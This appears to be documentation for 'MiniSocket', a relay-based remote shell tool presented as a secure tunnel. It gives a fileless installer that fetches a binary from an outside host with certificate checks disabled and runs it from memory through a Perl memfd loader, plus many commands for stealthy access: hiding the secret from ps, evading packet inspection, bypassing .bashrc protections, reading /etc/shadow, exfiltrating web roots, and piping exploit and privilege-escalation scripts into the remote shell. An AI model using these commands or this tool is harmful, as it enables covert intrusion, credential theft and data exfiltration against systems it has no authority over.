System Notification
Welcome to MiniSocket! This secure tunnel service is currently under active development.
Join our channel to get the latest updates, support, and be part of the community.
What's New
Major release with end-to-end encryption, real PTY support, and 11 architecture builds.
X25519 ECDH key exchange + AES-256-GCM. Unique session keys. The relay never sees plaintext.
Full interactive terminal with tab completion, vim, top, resize support. Not just a dumb pipe.
x86_64, ARM64, ARMv7, x86, MIPS, MIPS64, MIPS64LE, MIPSLE, PPC64LE, RISC-V 64, s390x.
Both sides connect outbound to relay on port 443. No port forwarding needed.
Secret is scrubbed from /proc/PID/cmdline after startup. Invisible to ps.
Statically linked binaries. No libc, no libraries. Just chmod +x and run on any Linux kernel.
Getting Started
MiniSocket is a lightweight, secure socket communication tool designed for encrypted data transfer with built-in protocol obfuscation. It's perfect for secure remote access, tunneling, and bypassing network restrictions.
Core Concepts
- Secret Key: Shared secret for authentication (like a password but more secure)
- Server: The endpoint that listens for incoming connections (mini-socket)
- Client: The tool that connects to the server (mini-nc)
- Port Forwarding: Redirect traffic from one network port to another
- Obfuscation: Make traffic look like normal web traffic
Installation
MiniSocket is available for Linux and macOS. Installation is simple with our one-line installer.
Linux & macOS (Quick Install)
Manual Installation
If you prefer manual installation, download the binaries directly:
Mini-Upload v3.0.0-PRO
Secure Peer-to-Peer Relay Transfer Protocol
A professional-grade utility for atomic file transfers. By utilizing End-to-End Encryption (E2EE) and MiniSocket's relay nodes, it eliminates the need for port forwarding or complex VPN setups.
Server Usage
The mini-socket binary runs the server that listens for incoming connections.
Basic Commands
Common Examples mini-socket
Common Examples mini-nc
Environment Variables
You can configure the server using environment variables:
| Variable | Description | Default |
|---|---|---|
MINI_PORT |
Listening port | 9000 |
MINI_ARGS |
Additional command line arguments | None |
Client Usage
The mini-nc binary connects to a MiniSocket server.
Basic Commands
Common Examples
[+] Connected. Please enter to use
root@myserver:/#
Usage: mini-nc [OPTIONS]
Options:
-s
-p
-h Show this help message
If no secret is provided via -s, you will be prompted to enter one.
Configuration
MiniSocket can be configured through command line arguments, environment variables, or configuration files.
Systemd Service
For Linux servers, create a systemd service file at /etc/systemd/system/minisocket.service:
[Unit] Description=MiniSocket Secure Tunnel After=network.target [Service] Type=simple User=minisocket ExecStart=/usr/bin/mini-socket -k /etc/minisocket.key -d Restart=always RestartSec=5 [Install] WantedBy=multi-user.target
Then enable and start the service:
Tips & Trick
client@minisocket:~$ mini-nc -s mysecret
client@minisocket:~$ mini-nc -s mysecret -p 443
client@minisocket:~$ mini-nc -s mysecret -p 443
server@minisocket:~$ S=$(head -c 32 /dev/urandom|base64|tr -d '/+='|head -c 16); curl -fsSLk https://minisocket.io/bin/mini-socket|MINI_PORT=443 MINI_ARGS="-s $S -d" perl -e'$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@"; echo "Secret: $S"
Secret: xK9mPqW2nR5tY8uZ
client@minisocket:~$ mini-nc -s xK9mPqW2nR5tY8uZ -p 443
# Manual secret (if you prefer)
server@minisocket:~$ curl -fsSLk https://minisocket.io/bin/mini-socket|MINI_PORT=443 MINI_ARGS="-s YOUR_SECRET_HERE -d" perl -e'$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@"
# mini-nc COMPLETE OPTIONS REFERENCE (Linux/macOS)
# ═══════════════════════════════════════════════════════════
# -s SECRET : Specify secret key directly
$ mini-nc -s MySecretKey123
# -k FILE : Read secret from file (more secure, not visible in ps)
$ echo "MySecretKey123" > /tmp/.secret && mini-nc -k /tmp/.secret
# ─── NETWORK ──────────────────────────────────────────────
# -p PORT : Specify relay port (default: 443)
$ mini-nc -s SECRET -p 443 # Port 443 (currently supported)
# ─── EXECUTION MODES ──────────────────────────────────────
# (no flags) : Interactive shell (default)
$ mini-nc -s SECRET # Full PTY shell with tab completion
# -e CMD : Execute command and exit immediately
$ mini-nc -s SECRET -e "id" # Run single command
$ mini-nc -s SECRET -e "id; whoami; cat /etc/passwd"
$ mini-nc -s SECRET -e "tar czf - /var/www" > backup.tar.gz
# -t : Test mode — check if server is online (no shell)
$ mini-nc -s SECRET -t # Returns 0 if online, 1 if offline
$ mini-nc -s SECRET -t && echo "Server is UP"
# Pipe mode — stdin goes to remote shell (just pipe, no flag)
$ echo "ls -la /root" | mini-nc -s SECRET
$ cat commands.txt | mini-nc -s SECRET
# ─── SHELL CONTROL (BYPASS .bashrc/.profile PROTECTION) ──
# -i [sh|bash] : Force interactive mode with specific shell
$ mini-nc -s SECRET -i # Force interactive (auto-detect shell)
$ mini-nc -s SECRET -i sh # Force interactive with /bin/sh
$ mini-nc -s SECRET -i bash # Force interactive with /bin/bash
# -S sh|bash : Force shell preference (which shell to spawn)
$ mini-nc -s SECRET -S sh # Use /bin/sh instead of bash
$ mini-nc -s SECRET -S bash # Force /bin/bash
# -n : No profile — skip BOTH .bashrc AND .profile (full bypass)
$ mini-nc -s SECRET -n # Bypass all startup scripts
# -R : No RC — skip .bashrc only
$ mini-nc -s SECRET -R # Skip .bashrc (but load .profile)
# -P : No profile — skip .profile/.bash_profile only
$ mini-nc -s SECRET -P # Skip .profile (but load .bashrc)
# BYPASS EXAMPLES: When target has protection in .bashrc
$ mini-nc -s SECRET -n -S sh # Full bypass: no rc, use sh
$ mini-nc -s SECRET -R -S sh # Skip .bashrc trap, use clean sh
$ mini-nc -s SECRET -n -i sh # Force interactive sh without rc
# ─── CONNECTION BEHAVIOR ──────────────────────────────────
# -w SECS : Idle timeout in seconds (default: 3)
$ mini-nc -s SECRET -w 10 # Wait 10 seconds before timeout
$ mini-nc -s SECRET -w 0 # No timeout (wait forever)
# -C : No reconnect — exit on disconnect (don't auto-reconnect)
$ mini-nc -s SECRET -C # Single connection, exit on drop
# -q : Quiet mode — suppress banner and status messages
$ mini-nc -s SECRET -q # Silent output (for scripting)
$ mini-nc -s SECRET -q -e "cat /etc/shadow" 2>/dev/null
# ─── ENVIRONMENT VARIABLES ────────────────────────────────
# MINI_PORT : Override relay port (default: 443)
$ MINI_PORT=443 mini-nc -s SECRET
# ─── PRACTICAL EXAMPLES ───────────────────────────────────
# Upload file to remote
$ cat exploit.sh | mini-nc -s SECRET -e "cat > /tmp/x.sh && chmod +x /tmp/x.sh"
# Download file from remote
$ mini-nc -s SECRET -e "cat /etc/shadow" > shadow.txt
$ mini-nc -s SECRET -e "tar czf - /var/www" > www.tar.gz
# Execute local script on remote (pipe to bash)
$ cat linpeas.sh | mini-nc -s SECRET -e "bash"
# Stealth: quiet mode + bypass rc + use sh + single shot
$ mini-nc -s SECRET -q -n -S sh -C -e "id" 2>/dev/null
# Check multiple servers quickly
$ for s in SECRET1 SECRET2 SECRET3; do mini-nc -s $s -t && echo "$s: UP"; done
Security Features
MiniSocket implements multiple layers of security to protect your communications.
Encryption
- X25519 ECDH Key Exchange: Each session derives a unique shared key via Elliptic Curve Diffie-Hellman
- AES-256-GCM: Authenticated encryption on all payload data with integrity verification
- PBKDF2-SHA256: Secret hashed with 100k iterations — relay only sees the hash, never the secret
- Process Hiding: Secret overwritten in argv memory after startup — invisible to ps and /proc
- Zero-Trust Relay: End-to-end encryption means the relay cannot read session data
Obfuscation Techniques
Protocol Mimicry
Traffic appears as normal HTTPS or WebSocket traffic to deep packet inspection systems.
Random Padding
All packets include random padding to prevent size-based analysis.
Traffic Shaping
Packet timing is randomized to prevent timing analysis attacks.
Port Hopping
Option to automatically switch ports periodically to evade blocking.
Best Practices
- Use long, random secrets (minimum 32 characters)
- Store secrets in files with restricted permissions (600)
- Run the server as a non-root user when possible
- Use port 443 (HTTPS) or 80 (HTTP) for best obfuscation
- Regularly rotate your secrets
- Monitor connection logs for unusual activity
Troubleshooting
Common Issues
Connection Timeout
Possible causes: Firewall blocking, wrong IP/port, server not running
Solution: Verify server is running, check firewall rules, try different ports (443, 80, 53)
Authentication Failed
Possible causes: Secret mismatch, key file permissions, encoding issues
Solution: Verify secret on both ends, check key file permissions (should be 600), ensure no extra whitespace
High Latency
Possible causes: Network congestion, server load, encryption overhead
Solution: Try different ports, reduce MTU size, check network routes